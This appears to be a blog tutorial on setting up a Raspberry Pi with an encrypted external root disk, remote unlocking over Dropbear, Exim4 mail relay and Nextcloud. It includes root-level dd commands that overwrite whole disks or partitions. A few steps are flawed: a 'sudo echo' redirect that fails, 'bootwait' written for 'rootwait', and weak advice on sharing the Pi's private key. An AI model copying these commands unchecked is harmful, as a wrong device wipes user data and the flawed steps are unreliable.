<li>A hard disk drive (<a href="http://wdlabs.wd.com/products/wd-pidrive-314gb/">WD's PiDrive</a>)</li>
<li>Cables (<a href="http://wdlabs.wd.com/products/raspberry-pi-accessories/">WD's PiDrive Cable Kit</a> and an Ethernet cable)</li>
<li>A micro SD card (<a href="http://www.samsung.com/us/computer/memory-storage/MB-MP16DA/AM">Samsung's microSDHC 16GB EVO Memory Card with Adapter</a>)</li>
<li>A TV with a HDMI cable</li>
<li>A laptop with a card reader running GNU/Linux (Xubuntu to be precise)</li>
<li>A wired keyboard</li>
<li>A regular DSL Internet connection</li>
</ul>
<h1 id="setting-up-the-raspberry-pi">Setting up the Raspberry Pi</h1>
<h2 id="the-os">The OS</h2>
<ol>
<li>Download Raspbian Lite from <a href="https://www.raspberrypi.org/downloads/raspbian/">the official website</a>. It might be a good idea to verify the hash (SHA1). <strong>Consider downloading the 64-bit version of the OS.</strong>. It adds supports for files larger than 4GB and also it fixes the issue with Nextcloud when the trashbin exceeds 4GB in size and can't be accessed anymore.</li>
<li>Extract the file .img from the zip.</li>
<li>
<p>Run one of the following commands:</p>
<div class="highlight"><pre><span></span><code>df
lsblk
blkid
fdisk -l
</code></pre></div>
</li>
<li>
<p>Plug in the SD card (on a regular computer, not the Raspberry Pi)</p>
</li>
<li>Redo step 3. in order to identify the SD card. <code>/dev/mmcblk0</code> or <code>/dev/sdb</code> for instance. <code>/dev/mmcblk0pX</code> or <code>/dev/sdbX</code> would be a partition on the device, with X an integer.</li>
<li>
<p>Unmount <strong>all</strong> the partitions and copy Raspbian on the whole SD card:</p>
<div class="highlight"><pre><span></span><code>umount /dev/mmcblk0p1
sudo dd <span class="nv">bs</span><span class="o">=</span>1M <span class="k">if</span><span class="o">=</span><span class="m">2014</span>-09-09-wheezy-raspbian.img <span class="nv">of</span><span class="o">=</span>/dev/mmcblk0 <span class="nv">status</span><span class="o">=</span>progress <span class="nv">conv</span><span class="o">=</span>fsync
sudo sync <span class="o">&&</span> sync
</code></pre></div>
<p><code>bs=4M</code> can be used but it's more error prone, yet it's safer. There won't be any feedback during <code>dd</code> so wait till it finishes (might be long).</p>
</li>
<li>
<p>You're done. For more information, see the <a href="http://www.raspberrypi.org/documentation/installation/installing-images/linux.md">official website</a>. Now <a href="https://www.raspberrypi.org/blog/a-security-update-for-raspbian-pixel/">enable SSH</a> by creating an empty file named <code>ssh</code> in <code>/boot</code>. Add a default user with <code>echo "pi:$(echo 'raspberry' | openssl passwd -6 -stdin)" > /boot/userconf.txt</code>. Then, unmount the SD card and eject it.</p>
</li>
</ol>
<h2 id="first-boot">First boot</h2>
<ol>
<li>Insert the micro SD card in the Raspberry Pi. Plug in an Ethernet wire or make sure you have a Wifi access point available on which you can connect, Plug in the HDMI cable (connected to a screen), a keyboard and eventually the power cable.</li>
<li>
<p>Log in (user name is <em>pi</em> and password is <em>raspberry</em>). You can do it using a keyboard or over SSH if you Raspberry is connected. Then set the locales and the right keyboard layout:</p>
<div class="highlight"><pre><span></span><code>sudo su
dpkg-reconfigure locales <span class="c1"># Select with space bar, at least en_US.UTF-8 and fr_FR.UTF-8 plus any other you need</span>
dpkg-reconfigure keyboard-configuration <span class="c1"># A keyboard must be plugged in</span>
dpkg-reconfigure tzdata
</code></pre></div>
<p>Regarding the keyboard layout, there are <a href="http://raspberrypi.stackexchange.com/questions/10060/raspbian-keyboard-layout/10103#10103">other alternatives</a>. Then reboot (<code>sudo reboot</code>).</p>
</li>
</ol>
<h2 id="configuration">Configuration</h2>
<ol>
<li>
<p>Should you need to connect over Wifi, here's how to do it:</p>
<div class="highlight"><pre><span></span><code>sudo iwlist wlan0 scan
sudo nano /etc/wpa_supplicant/wpa_supplicant.conf
</code></pre></div>
<p>Go to the bottom of the file and add the following:</p>
<div class="highlight"><pre><span></span><code>network={
ssid="The_ESSID_from_earlier"
psk="Your_wifi_password"
}
</code></pre></div>
<p>Otherwise, disable Wifi (and Bluetooth) as it draws power. One solution (preferred) is to list all blockable devices (<code>rfkill list all</code>) and then block bluetooth (<code>sudo rfkill block 1</code> (<code>0</code> is usually for Wi-Fi)). The other solution is to create <code>/etc/modprobe.d/disable_rpi3_wifi_bt.conf</code> and add the following:</p>
<div class="highlight"><pre><span></span><code>##wifi
blacklist brcmfmac
blacklist brcmutil
##bt
blacklist btbcm
blacklist hci_uart
</code></pre></div>
<p>Save and reboot. <a href="https://www.raspberrypi.org/documentation/configuration/wireless/wireless-cli.md">More information</a>. At next reboot, make sure you're either connected or that Wifi is disabled by typing <code>ip a</code>.</p>
</li>
<li>
<p>Double the current limit if your intend to plug USB devices. In <code>/boot/config.txt</code>, add the following:</p>
<div class="highlight"><pre><span></span><code>max_usb_current=1
</code></pre></div>
<p><a href="https://www.raspberrypi.org/forums/viewtopic.php?p=930695#p930695">Some people say this has no effect on Raspberry Pi 3</a>.<br>
You may finish editing this file by fine-tuning its parameters.</p>
</li>
<li>
<p>Update you Pi:</p>
<div class="highlight"><pre><span></span><code>sudo apt update
sudo apt upgrade
sudo apt install vim
<span class="c1"># sudo apt install rpi-update # if this packet is missing</span>
<span class="c1"># sudo reboot</span>
<span class="c1"># sudo rpi-update # gets the latest firmware, normal users should not have to do it</span>
<span class="c1"># More info, read: https://github.com/Hexxeh/rpi-update#notes</span>
<span class="c1"># sudo reboot</span>
<span class="c1"># sudo apt update</span>
<span class="c1"># sudo apt upgrade</span>
</code></pre></div>
</li>
<li>
<p>For security concerns, let's create a new user. The <em>pi</em> user will be deleted later.</p>
<div class="highlight"><pre><span></span><code>sudo su
passwd <span class="c1"># Add a password to the root account</span>
adduser pipi
usermod -a -G video pipi <span class="c1"># Otherwise omxplayer won't work with this user</span>
<span class="nb">echo</span> <span class="s1">'export HISTSIZE=100000'</span> >> /root/.bashrc
<span class="nb">echo</span> <span class="s1">'export HISTFILESIZE=100000'</span> >> /root/.bashrc
<span class="nb">echo</span> <span class="s1">'export EDITOR=vim'</span> >> /root/.bashrc
<span class="nb">exit</span>
<span class="c1"># Stay connected as 'pi' for now</span>
</code></pre></div>
</li>
<li>
<p>Config the Pi:</p>
<div class="highlight"><pre><span></span><code>sudo raspi-config
</code></pre></div>
<p>You should not expand the filesystem, neither change the user password cause we'll delete the <em>pi</em> user anyway. However, you should change the system options (wait for network at boot). You might change the internationalisation options to English (UTF-8), but it's the same as running <code>dpkg-reconfigure locales</code>. If you want to change the timezone and keyboard layout, plug in a keyboard on the Pi and do it from that keyboard. Change overscan if you see black bars. Change the hostname if you want. Finally, adjust memory split (128MB is sufficient for 1080p videos). Then, reboot. And log in back using the <em>pi</em> user.</p>
</li>
<li>
<p>You should probably remove the ability to run "root" commands without typing pi’s password.</p>
<div class="highlight"><pre><span></span><code>sudo visudo <span class="c1"># it will safely edit /etc/sudoers</span>
</code></pre></div>
<p>Here, remove "NOPASSWD: ". If there is no such a line, check out the file <code>/etc/sudoers.d/010_pi-nopasswd</code> and delete it.</p>
</li>
<li>
<p>From another computer (not your Pi), do this:</p>
<div class="highlight"><pre><span></span><code>ssh-keygen <span class="c1"># Use default choices</span>
ssh-copy-id -i <span class="nv">$HOME</span>/.ssh/id_rsa.pub pipi@<raspberry-pi-IP>
</code></pre></div>
</li>
<li>
<p>Get back to your Pi, still logged in as <em>pi</em> and do:</p>
<div class="highlight"><pre><span></span><code>su
apt install rsync
<span class="c1"># rsync is just better than cp, we'll need it later</span>
</code></pre></div>
</li>
<li>
<p>Now, it's time to delete the <em>pi</em> user. Log in as your new user (in my case it's <em>pipi</em>) and then:</p>
<div class="highlight"><pre><span></span><code>su <span class="c1"># Type the root password here</span>
deluser --remove-home pi
visudo <span class="c1"># Make sure there's no reference to pi user</span>
</code></pre></div>
</li>
</ol>
<h2 id="moving-root-onto-an-external-hard-disk-drive-not-encrypted-with-additional-encrypted-data-partition">Moving <code>/root</code> onto an external hard disk drive, not encrypted, with additional encrypted DATA partition</h2>
<p><strong>NOTE THAT RECENT RASPBERRY PIS CAN BOOT DIRECTLY FROM A USB MASS STORAGE DEVICE, WITH NO SD INSERTED</strong>: <a href="https://www.raspberrypi.org/documentation/hardware/raspberrypi/bootmodes/msd.md">tutorial here</a>.</p>
<p><em>Right after this section you will find another one about how to do a similar operation using an encrypted hard disk.</em></p>
<p>As root,</p>
<div class="highlight"><pre><span></span><code>lsblk <span class="c1"># Identify the hard disk drive connected to the Pi</span>
fdisk /dev/sda
</code></pre></div>
<p>Do the following sequence of keystrokes:</p>
<div class="highlight"><pre><span></span><code>d # Delete all the existing partitions if many
n # Create a new one
p # Primary
1
<Enter> # Hit enter key
+100G # 100GB, or something else
# This partition should be of type Linux (83)
n # Create a second partition, swap
p
2
<Enter>
+2G
t # Change the type...
2 # Of the second partion
82 # Make it a swap partition
n # Create the data partition
p
3
<Enter>
<Enter>
p # Make sure everything is OK and press w
w
</code></pre></div>
<p>Then:</p>
<div class="highlight"><pre><span></span><code>mkfs.ext4 /dev/sda1 -L ROOT -m <span class="m">5</span>
mkswap /dev/sda2
mkfs.ext4 /dev/sda3 -L DATA -m <span class="m">5</span> <span class="c1"># I think this step is not necessary but did not check...</span>
apt install cryptsetup
cryptsetup --verify-passphrase -c aes-xts-plain64 -s <span class="m">512</span> -h sha256 luksFormat /dev/sda3
cryptsetup -v luksOpen /dev/sda3 hddcrypt
mkfs.ext4 /dev/mapper/hddcrypt -L DATA -m <span class="m">1</span>
mkdir /mnt/data_partition
mount /dev/mapper/hddcrypt /mnt/data_partition/
cat /boot/cmdline.txt <span class="c1"># See if you can find root=/dev/mmcblk0p2. If yes then...</span>
sed -e <span class="s2">"s|root=/dev/mmcblk0p2|root=/dev/sda1|"</span> -i /boot/cmdline.txt
<span class="c1"># Otherwise, manually replace root=PARTUUID=123 with the right PARTUUID found in `blkid`</span>
<span class="c1"># Add 'bootwait' at the end of the line, in the same file, separated from the rest by a space char</span>
<span class="c1"># The 'rootwait' option forces the kernel to wait until the root device becomes ready</span>
</code></pre></div>
<p>Edit <code>/etc/fstab</code> that way:</p>
<div class="highlight"><pre><span></span><code>proc /proc proc defaults 0 0
PARTUUID=123 /boot vfat defaults 0 2
PARTUUID=456 / ext4 defaults,noatime 0 1
PARTUUID=789 none swap sw 0 0
</code></pre></div>
<p>Then:</p>
<div class="highlight"><pre><span></span><code>mkdir /tmp/rootsd <span class="o">&&</span> mount /dev/mmcblk0p2 /tmp/rootsd
mkdir /tmp/roothdd <span class="o">&&</span> mount /dev/sda1 /tmp/roothdd
rsync -a /tmp/rootsd/ /tmp/roothdd/
sync
e2fsck -f /dev/sda1 <span class="c1"># You might need to umount it first (umount /tmp/roothdd)</span>
reboot
su
update-rc.d -f dphys-swapfile remove
apt remove dphys-swapfile
cat /proc/swaps
swapoff /var/swap <span class="c1"># Might fail if it was not listed in the previous command</span>
rm -f /var/swap
reboot
su
/sbin/swapon -s <span class="c1"># Make sure only your swap partition is in use</span>
dd <span class="k">if</span><span class="o">=</span>/dev/urandom <span class="nv">of</span><span class="o">=</span>/dev/mmcblk0p2 <span class="nv">bs</span><span class="o">=</span>10M <span class="c1"># Overwrite data of unused old root partition</span>
fdisk /dev/mmcblk0 <span class="c1"># Delete second partition</span>
</code></pre></div>
<h2 id="moving-root-onto-an-external-hard-disk-drive-encrypted">Moving <code>/root</code> onto an external hard disk drive, encrypted</h2>
<p>I would like to thank a few websites which helped me a lot to write this article:</p>
<ul>
<li><a href="http://paxswill.com/blog/2013/11/04/encrypted-raspberry-pi/">Using an Encrypted Root Partition with Raspbian</a></li>
<li><a href="http://chezmanu.eu/RPI-Chiffrement.php">Chiffrement d'un Raspberry Pi avec Raspbian et Luks/Cryptsetup</a></li>
<li><a href="http://docs.kali.org/kali-dojo/04-raspberry-pi-with-luks-disk-encryption">Raspberry Pi Disk Encryption</a></li>
</ul>
<p>Stay logged in as <em>root</em>.</p>
<div class="highlight"><pre><span></span><code><span class="nb">echo</span> <span class="s2">"initramfs initramfs.gz 0x00f00000"</span> >> /boot/config.txt
cat /boot/config.txt
cat /boot/cmdline.txt
sed -e <span class="s2">"s|root=/dev/mmcblk0p2|root=/dev/mapper/hddcrypt cryptdevice=/dev/sda1:hddcrypt|"</span> -i /boot/cmdline.txt
cat /boot/cmdline.txt <span class="c1"># Check it has been effectively changed</span>
sed -e <span class="s2">"s|/dev/mmcblk0p2|/dev/mapper/hddcrypt|"</span> -i /etc/fstab
cat /etc/fstab <span class="c1"># Make sure it's all right</span>
<span class="nb">echo</span> -e <span class="s2">"hddcrypt\t/dev/sda1\tnone\tluks"</span> >> /etc/crypttab
cat /etc/crypttab
lsblk <span class="c1"># Identify the hard disk drive connected to the Pi</span>
fdisk /dev/sda <span class="c1"># Delete any existing partition, create new one with default choices</span>
apt install cryptsetup
cryptsetup --verify-passphrase -c aes-xts-plain64 -s <span class="m">512</span> -h sha256 luksFormat /dev/sda1
<span class="c1"># 512-bit AES encryption with 256-bit SHA hashing algorithm</span>
cryptsetup -v luksOpen /dev/sda1 hddcrypt
mkfs.ext4 /dev/mapper/hddcrypt -L ROOT_HDD -m <span class="m">1</span>
<span class="c1"># Let's mount in two directories the unencrypted root partition from the SD card</span>
<span class="c1"># and the new encrypted root partition from the HDD</span>
mkdir /tmp/rootplain <span class="o">&&</span> mount /dev/mmcblk0p2 /tmp/rootplain/
mkdir /tmp/rootcrypt <span class="o">&&</span> mount /dev/mapper/hddcrypt /tmp/rootcrypt/
rsync -a /tmp/rootplain/ /tmp/rootcrypt/ <span class="c1"># Copy from plain to encrypted</span>
sync
mkinitramfs -o /boot/initramfs.gz <span class="k">$(</span>uname -r<span class="k">)</span>
reboot
<span class="c1"># Delete old /root</span>
su
dd <span class="k">if</span><span class="o">=</span>/dev/urandom <span class="nv">of</span><span class="o">=</span>/dev/mmcblk0p2 <span class="nv">bs</span><span class="o">=</span>10M <span class="nv">status</span><span class="o">=</span>progress <span class="nv">conv</span><span class="o">=</span>fsync
fdisk /dev/mmcblk0 <span class="c1"># Delete second partition</span>
</code></pre></div>
<h3 id="enable-remote-unlocking">Enable remote unlocking</h3>
<p>References:</p>
<ul>
<li><a href="https://stinkyparkia.wordpress.com/2014/10/14/remote-unlocking-luks-encrypted-lvm-using-dropbear-ssh-in-ubuntu-server-14-04-1-with-static-ipst/">Remote unlocking LUKS encrypted LVM using Dropbear SSH in Ubuntu Server 14.04.1 (with Static IP)</a></li>
<li><a href="https://chicagolug.org/news/2015-10-09-remotely-unlock-encrypted-server-with-dropbear.html">Remotely Unlocking Encrypted Servers with Dropbear (on Ubuntu)</a></li>
</ul>
<p>Let's get started! On your Pi:</p>
<div class="highlight"><pre><span></span><code>su
apt install dropbear
mkinitramfs -o /boot/initramfs.gz <span class="k">$(</span>uname -r<span class="k">)</span> <span class="c1"># Triggers SSH key generation</span>
<span class="c1"># Next command is really important, it gives the Pi enough time to get an IP address</span>
sed <span class="s2">"s/configure_networking\ \&/echo \"Waiting 5secs...\"\nsleep\ 5\nconfigure_networking\/"</span> -i /usr/share/initramfs-tools/scripts/init-premount/dropbear
cat /usr/share/initramfs-tools/scripts/init-premount/dropbear
<span class="nb">cd</span> /etc/dropbear/
rm /etc/initramfs-tools/etc/dropbear/dropbear_dss_host_key
rm /etc/initramfs-tools/etc/dropbear/dropbear_rsa_host_key
<span class="c1"># Next command improves security. Default length is 1024</span>
dropbearkey -t rsa -s <span class="m">4096</span> -f /etc/initramfs-tools/etc/dropbear/dropbear_rsa_host_key
</code></pre></div>
<p>Now, add the following at the beginning of the first line of the file <code>/etc/initramfs-tools/root/.ssh/authorized_keys</code>:</p>
<div class="highlight"><pre><span></span><code>command="/scripts/local-top/cryptroot && kill -9 `ps | grep -m 1 'cryptroot' | cut -d ' ' -f 3`"
</code></pre></div>
<p>To forbid authentication using passwords and to change the listening port used by Dropbear, create the file <code>/etc/initramfs-tools/conf.d/dropbear</code> and add:</p>
<div class="highlight"><pre><span></span><code>export PKGOPTION_dropbear_OPTION="-s -p 1234"
</code></pre></div>
<p>And do:</p>
<div class="highlight"><pre><span></span><code>mkinitramfs -o /boot/initramfs.gz <span class="k">$(</span>uname -r<span class="k">)</span> <span class="c1"># Might be useless</span>
update-initramfs -u
</code></pre></div>
<p>From now, you have 3 possibilities to access your Raspberry Pi remotely:</p>
<ol>
<li>Using a public key</li>
<li>Using the Raspberry's private key</li>
<li>Using an account's password</li>
</ol>
<p>The two first possibilities are quite safe, compared to the third one. It's well known that authentication using passwords over SSH is not that safe.<br>
Using your PC's SSH public key is a good solution but not reliable in the long term. Imagine you were to lose access to your personal computer, you would end up locked out of your Raspberry with no means to access it. On the other hand, using your Raspberry Pi's SSH private as an identity is far more convenient in that you can store that file on many devices. Should you lose you computer, you could still access your Raspberry from another computer, given that you still have access to that private key. I know it's not the safest solution but that's the one I chose to go with.</p>
<p>So here are how to do it with those two first choices, but I recommend you to go with the second one.</p>
<h4 id="choice-1">Choice 1</h4>
<div class="highlight"><pre><span></span><code><span class="nb">echo</span> <span class="k">$(</span>cat /home/pipi/.ssh/authorized_keys<span class="k">)</span> >> /etc/initramfs-tools/root/.ssh/authorized_keys <span class="c1"># Will grant us direct SSH access</span>
cat /etc/initramfs-tools/root/.ssh/authorized_keys <span class="c1"># Make sure it's all right</span>
</code></pre></div>
<h4 id="choice-2">Choice 2</h4>
<p>Save the content of <code>/etc/initramfs-tools/root/.ssh/id_rsa</code> on your computer. <strong>Make sure to copy the entire file, including first and last lines.</strong> And do that on the newly created file, on your computer:</p>
<div class="highlight"><pre><span></span><code>chmod <span class="m">0600</span> id_rsa_rpi
</code></pre></div>
<p>Now, you can connect to your Pi like this:</p>
<div class="highlight"><pre><span></span><code>ssh -i id_rsa_rpi root@192.168.1.XX -v -p <span class="m">1234</span>
</code></pre></div>
<p><br /></p>
<p>Finally, last step:</p>
<div class="highlight"><pre><span></span><code>update-rc.d dropbear disable <span class="c1"># Only openssh will be used after partition is decrypted</span>
mkinitramfs -o /boot/initramfs.gz <span class="k">$(</span>uname -r<span class="k">)</span> <span class="c1"># Might be useless</span>
update-initramfs -u
reboot
</code></pre></div>
<p>For more information in this whole thing, read the official documentation provided by cryptsetup:</p>
<div class="highlight"><pre><span></span><code>zcat /usr/share/doc/cryptsetup/README.remote.gz
</code></pre></div>
<p>Should you need to upgrade your firmware, make sure to update the right initramfs before rebooting. Read the end of <a href="http://chezmanu.eu/RPI-Chiffrement.php">this article</a> to find out how to do it.</p>
<p>Instead of unlocking your hard disk drive over SSH, if you prefer to use a keyfile, <a href="http://longsteve.com/wiki/index.php?title=USB_Hard_Drive_Encryption_on_a_Raspberry_Pi">check out this website</a>.</p>
<p>If you are brave enough, have a look at the section below called <em>Hardening security</em>. You might want to improve Dropbear settings.</p>
<p>You might also want to read about <a href="https://wiki.mozilla.org/Security/Guidelines/OpenSSH">Mozilla's recommandation in terms of SSH security</a>.</p>
<h1 id="tips">Tips</h1>
<h2 id="screen-blank-time">Screen blank time</h2>
<p>To avoid screen blanking after a while in the console (tty), change <code>BLANK_TIME</code> to 0 in /etc/kbd/config.</p>
<h2 id="auto-login">Auto login</h2>
<p>As previously seen, the tool <code>rasp-config</code> allows you to configure auto login. But you can also do this with the command line. In <em>/etc/inittab</em>, replace</p>
<div class="highlight"><pre><span></span><code>1:2345:respawn:/sbin/getty 115200 tty1
</code></pre></div>
<p>with</p>
<div class="highlight"><pre><span></span><code>1:2345:respawn:/bin/login -f pi tty1 </dev/tty1 >/dev/tty1 2>&1
</code></pre></div>
<h2 id="stopping-raspberry-pi-from-auto-changing-source-on-tv">Stopping Raspberry-Pi from auto changing source on TV</h2>
<div class="highlight"><pre><span></span><code>sudo <span class="nb">echo</span> <span class="s2">"hdmi_ignore_cec_init=1"</span> >> /boot/config.txt
</code></pre></div>
<h2 id="auto-mount-an-external-hard-disk-drive">Auto-mount an external hard disk drive</h2>
<div class="highlight"><pre><span></span><code>mkdir /home/pi/my_wonderful_hdd <span class="c1"># Where the HDD will be mounted</span>
sudo fdisk -l <span class="c1"># Note the location of the HDD (something like /dev/sda1)</span>
sudo mount -t auto /dev/sda1 /home/pi/my_wonderful_hdd <span class="c1"># Mount it now</span>
sudo <span class="nb">echo</span> <span class="s2">"/dev/sda1 /home/pi/my_wonderful_hdd auto noatime 0 0"</span> >> /etc/fstab <span class="c1"># Auto mount at boot</span>
</code></pre></div>
<h2 id="change-hostname">Change hostname</h2>
<p>Use the tool <code>rasp-config</code> or edit both <em>/etc/hostname</em> and <em>/etc/hosts</em>.</p>
<h2 id="disable-swap-permanently">Disable SWAP permanently</h2>
<p>Swapping is bad for your SD card lifespan. You should disable it permanently. You might however want to keep swap on a partition on a hard disk drive (see above). To disable permatently on SD card and disk, run:</p>
<div class="highlight"><pre><span></span><code>sudo swapoff --all <span class="c1"># Temporary, disables also dedicated partitions (like /dev/sda2)</span>
sudo update-rc.d dphys-swapfile remove
sudo apt remove dphys-swapfile <span class="c1"># Permanently</span>
sudo rm /var/swap
</code></pre></div>
<h1 id="dynhost">DynHost</h1>
<ol>
<li>Run <code>apt install lynx dnsutils git</code> as root. <code>dnsutils</code> provides <code>dig</code>.</li>
<li>As a normal user, run <code>git clone https://github.com/rpellerin/dynhost.git $HOME/dynhost</code></li>
<li>Edit the lines <code>HOST</code>, <code>LOGIN</code>, <code>PASSWORD</code> and <code>PATH_APP</code> in the file <em>dynhost</em>.</li>
<li>
<p>Add a cronjob (<code>crontab -e</code>), on your Pi, with the same user (not root!):</p>
<div class="highlight"><pre><span></span><code>*/5 * * * * /home/pi/dynhost/dynhost
</code></pre></div>
<p>All good!</p>
</li>
</ol>
<h1 id="configure-a-local-smtp-email-server">Configure a local SMTP email server</h1>
<p>Before doing this. make sure you did set the hostname of your Raspberry Pi through <code>raspi-config</code>. Note: to successfully send email, the domain you set must exist as a valid DNS entry. Otherwise some email servers will reject your emails. If your Raspberry won't answer to no domain, let as is but make sure while setting up exim4 to hide local mail name with <strong>an existing domain</strong>.</p>
<p>Make sure to disable <code>/var/log</code> from being in RAM since Exim4 needs <code>/var/log/exim4/mainlog</code> to exist, even after a reboot.</p>
<p>This is pretty convient as some programs still prefer to send emails, such as <code>cron</code>.<br>
Normally, Exim4 comes pre-installed with Debian. If not, do <code>apt install exim4</code>. Then:</p>
<div class="highlight"><pre><span></span><code>su
dpkg-reconfigure exim4-config
<span class="c1"># "mail sent by smarthost; no local mail"</span>
<span class="c1"># System mail name: keep default; must be a valid FQDN though (ending with .com for example). Leaving blank is the same as reusing the same hostname you set for the Raspberry but it is sometimes buggy. Better to explicitely write your hostname.</span>
<span class="c1"># IP-addresses to listen on: keep default, we don't want to receive external emails</span>
<span class="c1"># Other destinations: leave blank</span>
<span class="c1"># Machines to relay mail for: leave blank</span>
<span class="c1"># IP address or host name of the outgoing smarthost: your SMTP server with port, like ssl0.ovh.net::465</span>
<span class="c1"># Hide local mail name: no, or yes if you let 'System mail name' blank. If you set a domain, it MUST EXIST otherwise some server will reject your emails.</span>
<span class="c1"># Keep number of DNS-queries minimal: no</span>
<span class="c1"># Delivery method for local mail: mbox</span>
<span class="c1"># Split configuration into small files: no</span>
<span class="c1"># Root and postmaster mail recipient: write one of your email addresses or leave blank</span>
</code></pre></div>
<p><code>/etc/exim4/update-exim4.conf.conf</code> should look like this:</p>
<div class="highlight"><pre><span></span><code>dc_eximconfig_configtype='satellite'
dc_other_hostnames=''
dc_local_interfaces='127.0.0.1 ; ::1'
dc_readhost='<YOUR HOSTNAME>'
dc_relay_domains=''
dc_minimaldns='false'
dc_relay_nets=''
dc_smarthost='ssl0.ovh.net::465'
CFILEMODE='644'
dc_use_split_config='false'
dc_hide_mailname='true'
dc_mailname_in_oh='true'
dc_localdelivery='mail_spool'
</code></pre></div>
<p>Then, <code>cat /etc/mailname</code> and make sure the system mail name you just specified is correctly reported here.</p>
<p>In <em>/etc/exim4/passwd.client</em>, add you credentials, like:</p>
<div class="highlight"><pre><span></span><code>ssl0.ovh.net:me@mydomain.com:password
</code></pre></div>
<p>If your SMTP server uses port 465 with SSL, you'll need to edit <em>/etc/exim4/exim4.conf.template</em>. Add the following line, after <code>driver = smtp</code>, under <code>remote_smtp_smarthost</code>:</p>
<div class="highlight"><pre><span></span><code>protocol = smtps
</code></pre></div>
<p><a href="http://www.gossamer-threads.com/lists/exim/users/96817">More information</a>.</p>
<p>Now add these lines in <em>/etc/aliases</em> (changes the lines according to your needs):</p>
<div class="highlight"><pre><span></span><code>root: <your email address>, <another email address comma-separated if needed>
pipi: root
</code></pre></div>
<p>Any email intended for root will be sent to the corresponding email address. <strong>Do not add addresses using the same domain you chose while configuring exim4 ("System mail name") as the emails won't be sent out.</strong><br>
You can also edit <em>/etc/email-addresses</em>: this file contains addresses used for <em>from</em>, <em>reply-to</em> and <em>sender addresses</em> fields.</p>
<p>Then:</p>
<div class="highlight"><pre><span></span><code>newaliases <span class="c1"># To apply changes brought to aliases</span>
update-exim4.conf
systemctl restart exim4
<span class="nb">echo</span> <span class="s2">"This is a test."</span> <span class="p">|</span> mail -s <span class="s2">"test message"</span> anotherme@somewhere.com <span class="c1"># Try sending an email</span>
<span class="nb">echo</span> <span class="s2">"This is a test."</span> <span class="p">|</span> mail -s <span class="s2">"test message for root"</span> root <span class="c1"># Try sending an email</span>
runq<span class="p">;</span> exim -qff <span class="c1"># Flush all email queues</span>
</code></pre></div>
<p><a href="http://debian-facile.org/doc:reseau:exim4:redirection-mails-locaux">More information</a>.</p>
<h1 id="send-email-automatically-on-startup-with-sendmail">Send email automatically on startup with <code>sendmail</code></h1>
<p>Add the following in <code>crontab -e</code> as root:</p>
<div class="highlight"><pre><span></span><code>@reboot /bin/sleep <span class="m">30</span><span class="p">;</span> /usr/sbin/exim -qff<span class="p">;</span> <span class="nb">echo</span> <span class="s2">"So you know... (</span><span class="k">$(</span>date<span class="k">)</span><span class="s2">)"</span> <span class="p">|</span> mail -s <span class="s2">"Rpi turned on"</span> root
</code></pre></div>
<p>Now, read the section right below.</p>
<h1 id="send-emails-automatically-on-shell-login">Send emails automatically on shell login</h1>
<p>Edit your user and root's <code>.bashrc</code> and add at the end of the file:</p>
<div class="highlight"><pre><span></span><code><span class="nb">echo</span> <span class="s2">"So you know... (</span><span class="k">$(</span>date<span class="k">)</span><span class="s2">)"</span> <span class="p">|</span> mail -s <span class="s2">"Root shell login"</span> root
</code></pre></div>
<h1 id="installing-nextcloud">Installing Nextcloud</h1>
<p>Official tutorial: <a href="https://docs.nextcloud.com/server/latest/admin_manual/installation/source_installation.html">https://docs.nextcloud.com/server/latest/admin_manual/installation/source_installation.html</a>.</p>
<p>(<a href="https://kiramclean.com/blog/how-to-set-up-your-own-nextcloud-server/">here is another tutorial on how to install Nextcloud via SNAP</a>)</p>
<details>
<summary>Click here to know how to support HTTP2</summary>
[Note that Apache prefork (which is used by `libapache2-mod-php`) is not compatible with HTTP2](https://http2.pro/doc/Apache). We have to [use fpm](https://blog.feutl.com/nextcloud-http2/). Here are some instructions on how to support HTTP2:
1. Follow the instructions below but do no install `libapache2-mod-php`, instead install `php-fpm`.
1. After setting up the database, do:
:::bash
su
# If necessary, run the following
# systemctl stop apache2
# a2dismod php7.3
# apt purge libapache2-mod-php
a2dismod mpm_prefork
a2enmod mpm_event proxy_fcgi setenvif
a2enmod http2
a2enconf php7.3-fpm # Check the generated conf file in /etc/apache2/conf-enabled, if not needed remove the file or disable the conf
1. Keep reading the instructions. When editing `/etc/apache2/sites-enabled/default-ssl.conf`, add these lines in the virtual host:
:::text
<VirtualHost *:443>
...
<FilesMatch \.php$>
SetHandler "proxy:unix:/run/php/php7.3-fpm.sock|fcgi://localhost/"
</FilesMatch>
...
ProtocolsHonorOrder On
Protocols h2 h2c http/1.1
...
1. [Tune PHP-FPM](https://docs.nextcloud.com/server/latest/admin_manual/installation/server_tuning.html#tune-php-fpm).
1. Copy the lines `php_value` from `/var/www/nextcloud/.htaccess` [to `/var/www/nextcloud/.htaccess`](https://medium.com/@jacksonpauls/moving-from-mod-php-to-php-fpm-914125a7f336).
1. `systemctl reload php7.3-fpm && systemctl restart apache2`
1. Check if Apache2 MPM is changed to events: `sudo apachectl -V | grep MPM`
1. See [Nextcloud's instructions on the php.ini file](https://docs.nextcloud.com/server/latest/admin_manual/installation/source_installation.html#php-ini-configuration-notes).
</details>
<div class="highlight"><pre><span></span><code>su
apt install apache2 mariadb-server libapache2-mod-php
apt install php-gd php-json php-mysql php-curl php-mbstring
apt install php-intl php-imagick imagemagick php-xml php-zip php-bz2
systemctl restart apache2
<span class="nb">cd</span> /var/www
mkdir nextcloud
wget https://download.nextcloud.com/server/releases/nextcloud-20.0.4.zip
sha256sum -c <<span class="o">(</span>wget -q https://download.nextcloud.com/server/releases/nextcloud-20.0.4.zip.sha256 -O -<span class="o">)</span> < nextcloud-20.0.4.zip
unzip nextcloud-20.0.4.zip
chown -R www-data:www-data /var/www/nextcloud/
mysql -u root -p <span class="c1"># No password is required, just hit enter</span>
CREATE USER <span class="s1">'nextclouduser'</span>@<span class="s1">'localhost'</span> IDENTIFIED BY <span class="s1">'Password'</span><span class="p">;</span>
create database nextcloud<span class="p">;</span>
GRANT ALL PRIVILEGES ON nextcloud.* TO <span class="s1">'nextclouduser'</span>@<span class="s1">'localhost'</span><span class="p">;</span>
flush privileges<span class="p">;</span>
exit<span class="p">;</span>
mysql -u nextclouduser -p <span class="c1"># Make sure it worked</span>
mysql_secure_installation
a2enmod ssl
a2ensite default-ssl <span class="c1"># Enable HTTPS website</span>
apachectl -M <span class="c1"># Check modules enabled</span>
<span class="c1"># Enable the following if not already done</span>
a2enmod rewrite
a2enmod headers
a2enmod env
a2enmod dir
a2enmod mime
systemctl restart apache2
systemctl disable apache2 <span class="c1"># No auto start on boot</span>
</code></pre></div>
